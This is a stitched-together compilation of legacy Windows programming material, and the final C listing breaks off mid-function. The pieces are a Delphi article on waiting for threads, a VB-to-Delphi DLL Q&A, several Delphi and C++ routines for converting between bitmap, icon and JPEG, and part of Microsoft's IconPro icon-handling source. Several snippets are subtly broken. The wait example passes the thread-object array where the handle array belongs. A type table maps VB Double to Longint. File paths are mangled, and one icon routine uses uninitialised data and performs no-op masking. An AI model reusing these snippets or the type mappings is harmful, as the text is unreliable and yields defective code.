Waiting for Threads

--------------------------------------------------------------------------------

I've created an application that spawns a couple of threads at once when a user presses a button. The threads execute fairly quickly, but I don't want the user to move on to the next task until the threads are absolutely finished. I could move the thread code back into the main unit, but that defeats the whole purpose of unlocking my user interface while the processes take place. Is there a good way to do this?

--------------------------------------------------------------------------------

In past articles regarding threads, I've discussed Critical Sections and mutexes as ways of protecting shared resources, and having them wait until a resource is freed. But how do you wait for a thread or threads to finish from the user interface?

There are a couple of ways to approach this. First, you create a global Boolean variable and use it as a flag. You set its value when the thread starts, then set its value when the thread ends. Meanwhile, you have can set up a looping mechanism in the main unit to periodically check the completion status of the thread and use the Application.ProcessMessages call to keep your application alive. Here's some code:

unit wthread;

interface

uses

Classes, Windows;

type

TTestThr = class(TThread)

private

{ Private declarations }

protected

procedure Execute; override;

end;

implementation

uses Main;

{ TTestThr }

procedure TTestThr.Execute;

var

I : Integer;

begin

for I := 0 to 39 do

Sleep(500);

ImDone := True;

end;

end.

The code above is the thread code. All it does is perform a for loop and wait for half a second in between increments. Pretty basic stuff. Here's the OnClick method for a button on the main form that starts the thread:

procedure TForm1.Button1Click(Sender: TObject);

begin

ImDone := False;

Label1.Caption := 'Waiting';

TTestThr.Create(False);

while NOT ImDone do

Application.ProcessMessages;

Label1.Caption := 'Not Waiting';

end;

The var ImDone is a Boolean flag that gets set as soon as the button is pressed. As you can see, the while loop in the OnClick handler just performs a yield with Application.ProcessMessages to process user input. Pretty simple right? Okay, now, let me tell you one very important thing:

Disregard everything that I just wrote! It's the wrong way to do it!

Why? For one thing, it's totally inefficient. While Application.ProcessMessages allows a program to continue to receive and process messages it receives, it still eats up CPU time because all it's doing is yielding temporarily, then going back to its original state, meaning it constantly activates and deactives. Yikes! Not good. With a thread like the TTestThr that I just wrote, you won't notice much of a difference in performance by using this methodology. But that doesn't mean that it's right. Furthermore, if you're a real stickler for good structured programming methodologies, you should avoid global variables like the plague! But that's not even the worst of it. There's a real big catch here...

What do you do in the case of having to wait for multiple threads to finish? In the model described above, you would have to create a Boolean flag for EVERY thread that you create! Now that's bad.

The best way to handle this condition is to create what might be called a wait thread - an intermediary thread that will perform the waiting. In combination with a couple of Windows API calls, you can achieve a very efficient thread waiting process at little cost to CPU time and system resources.

Those couple of Windows API functions are called WaitForSingleObject and WaitForMultipleObjects. These two functions are used to wait for objects to enter a signaled state before they return. Okay, what's signaled mean anyway? This one took me awhile to understand, but for you, I'll be as clear as possible so you can understand it much quicker than I did. Essentially, when an object is created in Windows, it is given a system assigned state property of sorts. While it is active or in use, it is said to be non-signaled. When it is available, it is said to be signaled. I know, it seems kind of backwards. But that's it in a nutshell. Anyway, with respect to the functions above, they are designed to wait for an object or objects to enter a signaled state; that is, wait for the objects to become available to the system again.

The advantage of these two functions with respect to waiting for threads to finish is that they enter into an efficient sleep state that consumes very little CPU time. Contrast that with the Application.ProcessMessages methodology which has the potential for consuming CPU cycles, and you know why they'd be the choice make if you're going to wait for threads.

WaitForSingleObject takes two parameters, a THandle and a timeout value in milliseconds. If you're going to wait for a single thread, all you need to do is pass the thread's handle and the time amount of time to wait for the object and it'll do the waiting for you. I should mention that there's a special system constant called INFINITE that will make the function wait indefinitely. Typically, you'll use this constant as opposed to setting a specific time. But that also depends on your process. Here's an example:

WaitForSingleObject(MyThread.Handle, INFINITE);

On the other hand, WaitForMultipleObjects is a bit more complex. It takes for arguments for parameters. They're described in the table below (don't worry about them too much right now, we'll discuss them below):

Argument Type Description

cObject DWORD Number of handles in the object handle array

lphObjects Pointer Address of object handle array.

fWaitAll Boolean True indicates that the function waits until all objects are signaled

dwTimeOut DWORD Number of milliseconds to wait (can be INFINITE)

What's this about a handle array? Well, in order for the function to track the states of all objects to be waited for, their handles have to be in an array. This is simple to create: just declare an array of THandle and set each element's value to a thread's handle. No big deal. But I think it's probably best to put all this perspective with some code that we can discuss. Here's the entire unit code that contains both the wait thread's declaration and the TTestThr declaration:

unit wthread;

interface

uses

Classes, Windows;

//"Worker thread declaration"

type

TTestThr = class(TThread)

private

{ Private declarations }

protected

procedure Execute; override;

end;

//Wait thread declaration

type

TWaitThr = class(TThread)

private

procedure UpdateLabel;//this just sets the label's caption

protected

procedure Execute; override;

end;

implementation

uses Main;

{ TTestThr }

procedure TTestThr.Execute;

var

I : Integer;

begin

FreeOnTerminate := True;

for I := 0 to 39 do

Sleep(500);

ImDone := True;

end;

procedure TWaitThr.UpdateLabel;

begin

Form1.Label1.Caption := 'Not Waiting';

end;

procedure TWaitThr.Execute;

var

hndlArr : Array[0..4] of THandle;

thrArr : Array[0..4] of TTestThr;

I : Integer;

begin

FreeOnTerminate := True;

for I := 0 to 4 do begin

thrArr[I] := TTestThr.Create(False);

hndlArr[I] := thrArr[I].Handle;

Sleep(1000); //stagger creation of the threads

end;

WaitForMultipleObjects(5, @thrArr, True, INFINITE);

Synchronize(UpdateLabel);

end;

end.

I put the Execute method for the TWaitThr in boldface so you can focus in on it. Notice that to fill in the hndlArr elements, I use a simple for loop. To make matters even simpler, I just declared an array of TTestThr to I could create the threads and immediately assign their respective handles to the handle array. The most important line in the code is:

WaitForMultipleObjects(5, @thrArr, True, INFINITE);

which is the call to WaitForMultipleObjects. Notice too that I pass the handle array's address to the function, as that is what the function calls for. Once the call is made, it won't allow the Execute method to continue until all the threads enter a signaled state. Once it's done waiting, UpdateLabel is called to change the text of a label on my main form. Here's the entire code listing for the main form. All it has on it are a TLabel and two TButtons.

unit main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Label1: TLabel;

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

ImDone : Boolean;

implementation

uses wthread;

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

ImDone := False;

Label1.Caption := 'Waiting';

TTestThr.Create(False);

while NOT ImDone do

Application.ProcessMessages;

Label1.Caption := 'Not Waiting';

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Label1.Caption := 'Waiting';

TWaitThr.Create(False);

end;

end.

So why go to all this trouble? Why not move the WaitForMultipleObjects code to the main form? The reason for this is simple. Since both WaitForSingleObject and WaitForMultipleObjects don't return until the object(s) they're waiting for enter a signaled state, the main form would essentially become locked and unavailable until the function returns. Kind of defeats the whole purpose of writing multi-threaded programs don't you think?

So here's another thing that you can add to your arsenal of multi-threading techniques...

Copyright ?1997 Brendan V. Delumpa All Rights Reserved


VB和Delphi之间的转换
VB to DLL

Q: How Do I pass the following struct from VB to a Delphi created DLL **by reference** would be appreciated (what should the parameters on the Delphi side look like?). I chose this structure to sort of represent most scenarios (if I can successfully pass this one, anything should be OK)

Type MyType

Value1 As Double

Value2 As Integer

Value3 As String * 20

Value4 As String

End Type

A: You will have some trouble with Value4. Passing VB strings to/from DLLs takes special handling. The easiest way to do it is to pass a pre-declared VB string to the DLL and have the DLL return the length and the resulting string back.

The others are easy.

Value1 As Double -> Value1 : Longint;

Value2 AS Integer -> Value2 : integer;

Value3 As String * 20 -> Value3 : array[0..19] of char;

User defined structures in Pascal are called records.

type

myStructure = record

Value1 : longint;

Value2 : integer;

Value3 : array [0..19] of char;

end;

I think you could define Value4 as a PChar in Pascal, but when you got it back in VB, you would have to search it for the ASCII 0 end byte and change the length of your string to the number of characters before the zero.

If I remeber correctly, from my evaluation 'beta' copy with source code, there were some functions in the VCL that handle VB strings. Can't say if they are in the shipping version because I havn't recieved the VCL source yet. A quick search of the online docs don't reveal them.

Here's some general type conversions from VB to Pascal (in table form; I hope this formats correctly on CIS.):

VB Declare As VB Call With Translates to Pascal Type

------------- ------------ -------------------------

By Val S As String Any String or Variant PChar

I As Integer Any Integer ^Integer (pointer to integer)

L As Long Any Long ^Longint (pointer to longint)

S As Rect Any Variable of same type ^TRect (pointer to TRect)

By Val As Integer Any Integer BOOL (word boolean)

" " " Word

" " " Integer

" " " hWnd

" " " hDC

" " " ...and so on; all word types.

By Val As Long Any Long Longint

I As Integer the first element of I(0) ^array of integer

As Any Any Variable (By Val when

String) Pointer (PChar when string)

As Any By Val 0& nil

Q: This would probably work, but I'd still really like to know how to return a string (even a null-terminated one) from a DLL function to VB.

A: The problem with returning PChars from DLLs is that the DLL has to be responsible for cleaning up the memory, but it doesn't know when the caller finishes. Most people use the following style, which is NOT bullet proof, but works in most instances:

Var ReturnBuffer :Array [0..255] of Char; { Must be outside function! }

function Dir_Get(ACaption, AInitDir, DirText: PChar ) : PChar;

Begin

...

Result := StrPCopy(ReturnBuffer, 'Result Text');

End;

The only time you have a problem is when someone calls the function while someone else is still using the ReturnBuffer. (Just about guaranteed not to happen, except maybe under Windows 95, but could under 3.1 if VB doesn't copy the string).


把一个ICO转换为BMP
（1）方法1

var

Icon : TIcon;

Bitmap : TBitmap;

begin

Icon := TIcon.Create;

Bitmap := TBitmap.Create;

Icon.LoadFromFile('c:.ico'); //Load an ICO

from File

Bitmap.Width := Icon.Width;

Bitmap.Height := Icon.Height;

Bitmap.Canvas.Draw(0, 0, Icon );

Bitmap.SaveToFile('c:.bmp'); //Convert ICO to

BMP!

Icon.Free;

Bitmap.Free;

end;

（2）方法2

procedure TForm1.ConvertClick(Sender: TObject);

var

winDC, srcdc, destdc : HDC;

oldBitmap : HBitmap;

iinfo : TICONINFO;

begin

GetIconInfo(Image1.Picture.Icon.Handle, iinfo);

WinDC := getDC(handle);

srcDC := CreateCompatibleDC(WinDC);

destDC := CreateCompatibleDC(WinDC);

oldBitmap := SelectObject(destDC, iinfo.hbmColor);

oldBitmap := SelectObject(srcDC, iinfo.hbmMask);

BitBlt(destdc, 0, 0,

Image1.picture.icon.width,Image1.picture.icon.height,srcdc,

0, 0, SRCPAINT);

Image2.picture.bitmap.handle := SelectObject(destDC,

oldBitmap);

DeleteDC(destDC);

DeleteDC(srcDC);

DeleteDC(WinDC);

image2.Picture.Bitmap.savetofile(ExtractFilePath(Applicat

ion.ExeName)+ 'myfile.bmp');

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

image1.picture.icon.loadfromfile('c:.ico');

end;


BmpToIco
procedure BmpToIco(ABmp,AIco:string);

var

bmp,mbmp:tbitmap;

ico:ticon;

rbmp:BITMAP;

a:array[0..4096] of byte;

len:dword;

i:integer;

imglist:timagelist;

begin

bmp:=tbitmap.Create;

mbmp:=tbitmap.Create;

mbmp.Assign(bmp);

ico:=ticon.Create;

imglist:=TImageList.CreateSize(32,32);

try

bmp.LoadFromFile(abmp);

len:=GetBitmapBits(bmp.Handle,4096,@a);

mbmp.Handle:=CreateBitmapIndirect(rbmp);

for i:=0 to len do

a[i]:=a[i] and a[i];

SetBitmapBits(bmp.Handle,len,@a);

imglist.add(bmp,mbmp);

imglist.GetIcon(0,ico);

finally

bmp.Free;

ico.Free;

imglist.Free;

end;

end;


BMP2ICO
procedure Bmp2Ico(bmp, ico: string); //bmp和ico是文件名

var

IconSizeX : integer;

IconSizeY : integer;

myBmp : TBitmap;

AndMask : TBitmap;

XOrMask : TBitmap;

IconInfo : TIconInfo;

Icon : TIcon;

begin

IconSizeX := GetSystemMetrics(SM_CXICON);

IconSizeY := GetSystemMetrics(SM_CYICON);

myBmp := TBitmap.Create;

myBmp.LoadFromFile(bmp);

AndMask := TBitmap.Create;

AndMask.Width := IconSizeX;

AndMask.Height := IconSizeY;

AndMask.Canvas.Brush.Color := clBlack;

AndMask.Canvas.Rectangle(0, 0, IconSizeX, IconSizeY);

XOrMask := TBitmap.Create;

XOrMask.Width := IconSizeX;

XOrMask.Height := IconSizeY;

StretchBlt(XorMask.Canvas.Handle, 0, 0, IconSizeX, IconSizeY,

myBmp.Canvas.Handle, 0, 0, myBmp.Width, myBmp.Height, SRCCOPY);

Icon := TIcon.Create;

IconInfo.fIcon := true;

IconInfo.xHotspot := 0;

IconInfo.yHotspot := 0;

IconInfo.hbmMask := AndMask.Handle;

IconInfo.hbmColor := XOrMask.Handle;

Icon.Handle := CreateIconIndirect(IconInfo);

AndMask.Free;

XOrMask.Free;

myBmp.Free;

Icon.SaveToFile(ico);

Icon.Free;

end;


bmp->ico
关于ICO转换我些过一段代码(bmp->ico)，贴给你，希望有用。

if(hBit == NULL) // hBit is BitMap Handle

return NULL;

CBitmap oBitmap;

oBitmap.Attach(hBit);

CBitmap oBMap;

BITMAP rBitMap;

oBitmap.GetBitmap( &rBitMap );

oBMap.CreateBitmapIndirect( &rBitMap );

BYTE a[4096];

DWORD len = oBitmap.GetBitmapBits (4096,a);

for (UINT i=0; i<len; i++)

{

a[i] ^= a[i];

}

oBMap.SetBitmapBits( len, a);

HICON hIcon;

if (bTheBigIcon)

{

CImageList oImagelist;

oImagelist.Create(32, 32, TRUE, 1, 1);

oImagelist.Add(&oBitmap, &oBMap);

hIcon = oImagelist.ExtractIcon( 0 );

oImagelist.DeleteImageList();

}

else

{

CImageList oImagelist;

oImagelist.Create(16, 16, TRUE, 1, 1);

oImagelist.Add(&oBitmap, &oBMap);

hIcon = oImagelist.ExtractIcon( 0 );

oImagelist.DeleteImageList();

}

m_bIcon = false;

return hIcon;


bmp<-->jpg
可以如下,(其他格式也许也可，试一下）记得加入 use jpeg.

var

MyJpeg: TJpegImage;

Image1: TImage;

begin

Image1:= TImage.Create(self);

MyJpeg:= TJpegImage.Create;

Image1.Picture.Bitmap.LoadFromFile('c:.BMP'); // Load the Bitmap from a file

MyJpeg.Assign(Image1.Picture.Bitmap); // Assign the BitMap to MyJpeg object

MyJpeg.CompressionQuality:=StrToInt('75');

MyJpeg.Compress;

MyJpeg.SaveToFile('c:.JPG'); // Save the JPEG to Disk

end;

var

MyJpeg: TJpegImage;

bmp: Tbitmap;

begin

bmp:=tbitmap.Create;

MyJpeg:= TJpegImage.Create;

myjpeg.LoadFromFile('c:.jpg');

bmp.Assign(myjpeg);

bmp.SaveToFile('c:.bmp'); // Save the JPEG to Disk

end;

**************************************************************************

///Bitmap 和 JPEG 格式间的快速转换

function Bmp2Jpg(Bmp: TBitmap; Quality: Integer = 100): TJpegImage;

begin

Result := nil;

if Assigned(Bmp)

then begin

Result := TJpegImage.Create;

Result.Assign(Bmp); {It′s all folks...}

Result.CompressionQuality := Quality;

Result.JPEGNeeded; {Key method...}

Result.Compress;

end;

end;

function Jpg2Bmp(Jpg: TJpegImage): TBitmap;

begin

Result := nil;

if Assigned(Jpg)

then begin

Result := TBitmap.Create;

Jpg.DIBNeeded; {Key method...}

Result.Assign(Jpg); {It′s all folks...}

end;

end;


256色的BMP文件转换成16色
Bitmap.PixelFormat :=pf8bit


Icons.C/Icons.H
ICONS.C

MSDN

/****************************************************************************\

*

* FILE: ICONS.C

*

* PURPOSE: IconPro Project Icon handing Code C file

*

* COMMENTS: This file contains the icon handling code

*

* FUNCTIONS:

* EXPORTS:

* ReadIconFromICOFile - Reads Icon from ICO file

* WriteIconToICOFile - Writes Icon to ICO file

* MakeIconFromResource - Makes HICON from a resource

* ReadIconFromEXEFile - Reads Icon from a EXE or DLL file

* IconImageToClipBoard - Puts icon image on clipboard

* IconImageFromClipBoard - Gets icon image from clipboard

* CreateBlankNewFormatIcon - Makes a new, blank icon image

* DrawXORMask - Draws XOR mask using DIBs

* DrawANDMask - Draws AND mask using DIBs

* GetXORImageRect - Calculates XOR image position

* MakeNewANDMaskBasedOnPoint - Calculates new AND mask

* ConvertBMPFileToIcon - Converts BMP to Icon

* IconImageToBMPFile - Writes an icon image to BMP file

* LOCALS:

* ReadICOHeader - Reads ICO file header

* AdjustIconImagePointers - Adjusts internal pointers

* ExtractDlgProc - Dlg Proc for extract dialog

* MyEnumProcedure - For EnumResourceNames()

* GetIconFromInstance - Extracts Icon from Instance

* ChooseIconFromEXEFile - Gets a user's choice icon from file

* WriteICOHeader - Writes ICO file header

* CalculateImageOffset - Calcs offset in file of image

* DIBToIconImage - Converts DIB to icon image

*

* Copyright 1995 - 1998 Microsoft Corp.

*

*

* History:

* July '95 - Created

*

\****************************************************************************/

#include <Windows.h>

#include "Resource.h"

#include "IconPro.h"

#include "Icons.H"

#include "Dib.H"

/****************************************************************************/

// Structs used locally (file scope)

// Resource Position info - size and offset of a resource in a file

typedef struct

{

DWORDdwBytes;

DWORDdwOffset;

} RESOURCEPOSINFO, *LPRESOURCEPOSINFO;

// EXE/DLL icon information - filename, instance handle and ID

typedef struct

{

LPCTSTR szFileName;

HINSTANCEhInstance;

LPTSTR lpID;

} EXEDLLICONINFO, *LPEXEDLLICONINFO;

/****************************************************************************/

/****************************************************************************/

// External Globals

extern HINSTANCE hInst;

extern HWND hWndMain;

/****************************************************************************/

/****************************************************************************/

// Prototypes for local functions

UINT ReadICOHeader( HANDLE hFile );

BOOL AdjustIconImagePointers( LPICONIMAGE lpImage );

BOOL CALLBACK ExtractDlgProc( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );

BOOL CALLBACK MyEnumProcedure( HANDLE hModule, LPCTSTR lpszType, LPTSTR lpszName, LONG lParam );

HICON GetIconFromInstance( HINSTANCE hInstance, LPTSTR nIndex );

LPTSTR ChooseIconFromEXEFile( LPEXEDLLICONINFO lpEDII );

BOOL WriteICOHeader( HANDLE hFile, UINT nNumEntries );

DWORD CalculateImageOffset( LPICONRESOURCE lpIR, UINT nIndex );

BOOL DIBToIconImage( LPICONIMAGE lpii, LPBYTE lpDIB, BOOL bStretch );

/****************************************************************************/

/****************************************************************************

*

* FUNCTION: MakeIconFromResource

*

* PURPOSE: Makes an HICON from an icon resource

*

* PARAMS: LPICONIMAGElpIcon - pointer to the icon resource

*

* RETURNS: HICON - handle to the new icon, NULL for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

HICON MakeIconFromResource( LPICONIMAGE lpIcon )

{

HICON hIcon = NULL;

// Sanity Check

if( lpIcon == NULL )

return NULL;

if( lpIcon->lpBits == NULL )

return NULL;

// Let the OS do the real work :)

hIcon = CreateIconFromResourceEx( lpIcon->lpBits, lpIcon->dwNumBytes, TRUE, 0x00030000,

(*(LPBITMAPINFOHEADER)(lpIcon->lpBits)).biWidth, (*(LPBITMAPINFOHEADER)(lpIcon->lpBits)).biHeight/2, 0 );

// It failed, odds are good we're on NT so try the non-Ex way

if( hIcon == NULL )

{

// We would break on NT if we try with a 16bpp image

if(lpIcon->lpbi->bmiHeader.biBitCount != 16)

{

hIcon = CreateIconFromResource( lpIcon->lpBits, lpIcon->dwNumBytes, TRUE, 0x00030000 );

}

}

return hIcon;

}

/* End MakeIconFromResource() **********************************************/

/****************************************************************************

*

* FUNCTION: ReadIconFromICOFile

*

* PURPOSE: Reads an Icon Resource from an ICO file

*

* PARAMS: LPCTSTR szFileName - Name of the ICO file

*

* RETURNS: LPICONRESOURCE - pointer to the resource, NULL for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

LPICONRESOURCE ReadIconFromICOFile( LPCTSTR szFileName )

{

LPICONRESOURCE lpIR = NULL, lpNew = NULL;

HANDLE hFile = NULL;

LPRESOURCEPOSINFOlpRPI = NULL;

UINT i;

DWORD dwBytesRead;

LPICONDIRENTRY lpIDE = NULL;

// Open the file

if( (hFile = CreateFile( szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL )) == INVALID_HANDLE_VALUE )

{

MessageBox( hWndMain, "Error Opening File for Reading", szFileName, MB_OK );

return NULL;

}

// Allocate memory for the resource structure

if( (lpIR = malloc( sizeof(ICONRESOURCE) )) == NULL )

{

MessageBox( hWndMain, "Error Allocating Memory", szFileName, MB_OK );

CloseHandle( hFile );

return NULL;

}

// Read in the header

if( (lpIR->nNumImages = ReadICOHeader( hFile )) == (UINT)-1 )

{

MessageBox( hWndMain, "Error Reading File Header", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

return NULL;

}

// Adjust the size of the struct to account for the images

if( (lpNew = realloc( lpIR, sizeof(ICONRESOURCE) + ((lpIR->nNumImages-1) * sizeof(ICONIMAGE)) )) == NULL )

{

MessageBox( hWndMain, "Error Allocating Memory", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

return NULL;

}

lpIR = lpNew;

// Store the original name

lstrcpy( lpIR->szOriginalICOFileName, szFileName );

lstrcpy( lpIR->szOriginalDLLFileName, "" );

// Allocate enough memory for the icon directory entries

if( (lpIDE = malloc( lpIR->nNumImages * sizeof( ICONDIRENTRY ) ) ) == NULL )

{

MessageBox( hWndMain, "Error Allocating Memory", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

return NULL;

}

// Read in the icon directory entries

if( ! ReadFile( hFile, lpIDE, lpIR->nNumImages * sizeof( ICONDIRENTRY ), &dwBytesRead, NULL ) )

{

MessageBox( hWndMain, "Error Reading File", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

return NULL;

}

if( dwBytesRead != lpIR->nNumImages * sizeof( ICONDIRENTRY ) )

{

MessageBox( hWndMain, "Error Reading File", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

return NULL;

}

// Loop through and read in each image

for( i = 0; i < lpIR->nNumImages; i++ )

{

// Allocate memory for the resource

if( (lpIR->IconImages[i].lpBits = malloc(lpIDE[i].dwBytesInRes)) == NULL )

{

MessageBox( hWndMain, "Error Allocating Memory", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

free( lpIDE );

return NULL;

}

lpIR->IconImages[i].dwNumBytes = lpIDE[i].dwBytesInRes;

// Seek to beginning of this image

if( SetFilePointer( hFile, lpIDE[i].dwImageOffset, NULL, FILE_BEGIN ) == 0xFFFFFFFF )

{

MessageBox( hWndMain, "Error Seeking in File", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

free( lpIDE );

return NULL;

}

// Read it in

if( ! ReadFile( hFile, lpIR->IconImages[i].lpBits, lpIDE[i].dwBytesInRes, &dwBytesRead, NULL ) )

{

MessageBox( hWndMain, "Error Reading File", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIR );

free( lpIDE );

return NULL;

}

if( dwBytesRead != lpIDE[i].dwBytesInRes )

{

MessageBox( hWndMain, "Error Reading File", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIDE );

free( lpIR );

return NULL;

}

// Set the internal pointers appropriately

if( ! AdjustIconImagePointers( &(lpIR->IconImages[i]) ) )

{

MessageBox( hWndMain, "Error Converting to Internal Format", szFileName, MB_OK );

CloseHandle( hFile );

free( lpIDE );

free( lpIR );

return NULL;

}

}

// Clean up

free( lpIDE );

free( lpRPI );

CloseHandle( hFile );

return lpIR;

}

/* End ReadIconFromICOFile() **********************************************/

/****************************************************************************

*

* FUNCTION: AdjustIconImagePointers

*

* PURPOSE: Adjusts internal pointers in icon resource struct

*

* PARAMS: LPICONIMAGE lpImage - the resource to handle

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL AdjustIconImagePointers( LPICONIMAGE lpImage )

{

// Sanity check

if( lpImage==NULL )

return FALSE;

// BITMAPINFO is at beginning of bits

lpImage->lpbi = (LPBITMAPINFO)lpImage->lpBits;

// Width - simple enough

lpImage->Width = lpImage->lpbi->bmiHeader.biWidth;

// Icons are stored in funky format where height is doubled - account for it

lpImage->Height = (lpImage->lpbi->bmiHeader.biHeight)/2;

// How many colors?

lpImage->Colors = lpImage->lpbi->bmiHeader.biPlanes * lpImage->lpbi->bmiHeader.biBitCount;

// XOR bits follow the header and color table

lpImage->lpXOR = FindDIBBits((LPSTR)lpImage->lpbi);

// AND bits follow the XOR bits

lpImage->lpAND = lpImage->lpXOR + (lpImage->Height*BytesPerLine((LPBITMAPINFOHEADER)(lpImage->lpbi)));

return TRUE;

}

/* End AdjustIconImagePointers() *******************************************/

/****************************************************************************

*

* FUNCTION: ReadICOHeader

*

* PURPOSE: Reads the header from an ICO file

*

* PARAMS: HANDLE hFile - handle to the file

*

* RETURNS: UINT - Number of images in file, -1 for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

UINT ReadICOHeader( HANDLE hFile )

{

WORD Input;

DWORDdwBytesRead;

// Read the 'reserved' WORD

if( ! ReadFile( hFile, &Input, sizeof( WORD ), &dwBytesRead, NULL ) )

return (UINT)-1;

// Did we get a WORD?

if( dwBytesRead != sizeof( WORD ) )

return (UINT)-1;

// Was it 'reserved' ? (ie 0)

if( Input != 0 )

return (UINT)-1;

// Read the type WORD

if( ! ReadFile( hFile, &Input, sizeof( WORD ), &dwBytesRead, NULL ) )

return (UINT)-1;

// Did we get a WORD?

if( dwBytesRead != sizeof( WORD ) )

return (UINT)-1;

// Was it type 1?

if( Input != 1 )

return (UINT)-1;

// Get the count of images

if( ! ReadFile( hFile, &Input, sizeof( WORD ), &dwBytesRead, NULL ) )

return (UINT)-1;

// Did we get a WORD?

if( dwBytesRead != sizeof( WORD ) )

return (UINT)-1;

// Return the count

return Input;

}

/* End ReadICOHeader() ****************************************************/

/****************************************************************************

*

* FUNCTION: MyEnumProcedure

*

* PURPOSE: Callback for enumerating resources in a DLL/EXE

*

* PARAMS: HANDLE hModule - Handle of the module

* LPCTSTR lpszType - Resource Type

* LPTSTR lpszName - Resource Name

* LONG lParam - Handle of ListBox to add name to

*

* RETURNS: BOOL - TRUE to continue, FALSE to stop

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL CALLBACK MyEnumProcedure( HANDLE hModule, LPCTSTR lpszType, LPTSTR lpszName, LONG lParam )

{

TCHARszBuffer[256];

LONG nIndex = LB_ERR;

LPTSTRlpID = NULL;

// Name is from MAKEINTRESOURCE()

if( HIWORD(lpszName) == 0 )

{

wsprintf( szBuffer, "Icon [%d]", (DWORD)lpszName );

lpID = lpszName;

}

else

{

// Name is string

lpID = strdup( lpszName );

wsprintf( szBuffer, "Icon [%s]", lpID );

}

// Add it to the listbox

nIndex = SendDlgItemMessage( (HWND)lParam, IDC_LIST1, LB_ADDSTRING, 0, (LPARAM)(szBuffer) );

// Set the item data to be the name of the resource so we can get it later

SendDlgItemMessage( (HWND)lParam, IDC_LIST1, LB_SETITEMDATA, (WPARAM)nIndex, (LPARAM)lpID );

return TRUE;

}

/* End MyEnumProcedure() ***************************************************/

/****************************************************************************

*

* FUNCTION: GetIconFromInstance

*

* PURPOSE: Callback for enumerating resources in a DLL/EXE

*

* PARAMS: HINSTANCE hInstance - Instance handle for this module

* LPTSTR nIndex - Resource index

*

* RETURNS: HICON - Handle to the icon, NULL for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

HICON GetIconFromInstance( HINSTANCE hInstance, LPTSTR nIndex )

{

HICONhIcon = NULL;

HRSRChRsrc = NULL;

HGLOBALhGlobal = NULL;

LPVOIDlpRes = NULL;

int nID;

// Find the group icon

if( (hRsrc = FindResource( hInstance, nIndex, RT_GROUP_ICON )) == NULL )

return NULL;

if( (hGlobal = LoadResource( hInstance, hRsrc )) == NULL )

return NULL;

if( (lpRes = LockResource(hGlobal)) == NULL )

return NULL;

// Find this particular image

nID = LookupIconIdFromDirectory( lpRes, TRUE );

if( (hRsrc = FindResource( hInstance, MAKEINTRESOURCE(nID), RT_ICON )) == NULL )

return NULL;

if( (hGlobal = LoadResource( hInstance, hRsrc )) == NULL )

return NULL;

if( (lpRes = LockResource(hGlobal)) == NULL )

return NULL;

// Let the OS make us an icon

hIcon = CreateIconFromResource( lpRes, SizeofResource(hInstance,hRsrc), TRUE, 0x00030000 );

return hIcon;

}

/* End GetIconFromInstance() ***********************************************/

/****************************************************************************

*

* FUNCTION: ExtractDlgProc

*

* PURPOSE: Window Procedure for the Extract Dialog

*

* PARAMS: HWND hWnd - This window handle

* UINT Msg - Which Message?

* WPARAM wParam - message parameter

* LPARAM lParam - message parameter

*

* RETURNS: BOOL - FALSE for cancel, TRUE for ok

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL CALLBACK ExtractDlgProc( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )

{

// Variable that holds info on this EXE/DLL

static LPEXEDLLICONINFO lpEDII;

switch( Msg )

{

// During Paint, we will draw the currently selected icon

case WM_PAINT:

{

HDC hDC;

PAINTSTRUCT ps;

DWORD nIndex;

LPTSTR lpIconID;

hDC = BeginPaint( hWnd, &ps );

// Get the current selection

if( (nIndex = SendDlgItemMessage( hWnd, IDC_LIST1, LB_GETCURSEL, 0, 0 )) != CB_ERR )

{

// Get the data associated with the current selection - its the icon name

if( (lpIconID = (LPTSTR)SendDlgItemMessage( hWnd, IDC_LIST1, LB_GETITEMDATA, nIndex, 0 )) != (LPTSTR)CB_ERR )

{

RECT Rect, ButtonRect, DlgRect;

HWND hWndButton;

HICON hIcon;

ICONINFO IconInfo;

BITMAP bm;

POINT UpperLeft, LowerRight;

// Make an Icon

hIcon = GetIconFromInstance( lpEDII->hInstance, lpIconID );

// Locate the icon

GetIconInfo( hIcon, &IconInfo );

GetObject( IconInfo.hbmColor, sizeof(BITMAP), &bm );

hWndButton = GetDlgItem( hWnd, IDCANCEL );

GetWindowRect( hWndButton, &ButtonRect );

GetWindowRect( hWnd, &DlgRect );

UpperLeft.x = ButtonRect.left;

UpperLeft.y = ButtonRect.bottom;

LowerRight.x = ButtonRect.right;

LowerRight.y = DlgRect.bottom;

ScreenToClient( hWnd, &UpperLeft );

ScreenToClient( hWnd, &LowerRight );

SetRect( &Rect, UpperLeft.x, UpperLeft.y, LowerRight.x, LowerRight.y );

// Draw it

DrawIcon( hDC, Rect.left + ((Rect.right - Rect.left - bm.bmWidth)/2),

Rect.top + ((Rect.bottom - Rect.top - bm.bmHeight)/2), hIcon );

// Kill it

DestroyIcon( hIcon );

}

}

EndPaint( hWnd, &ps );

}

break; // End WM_PAINT

// Dialog is being initialized

case WM_INITDIALOG:

{

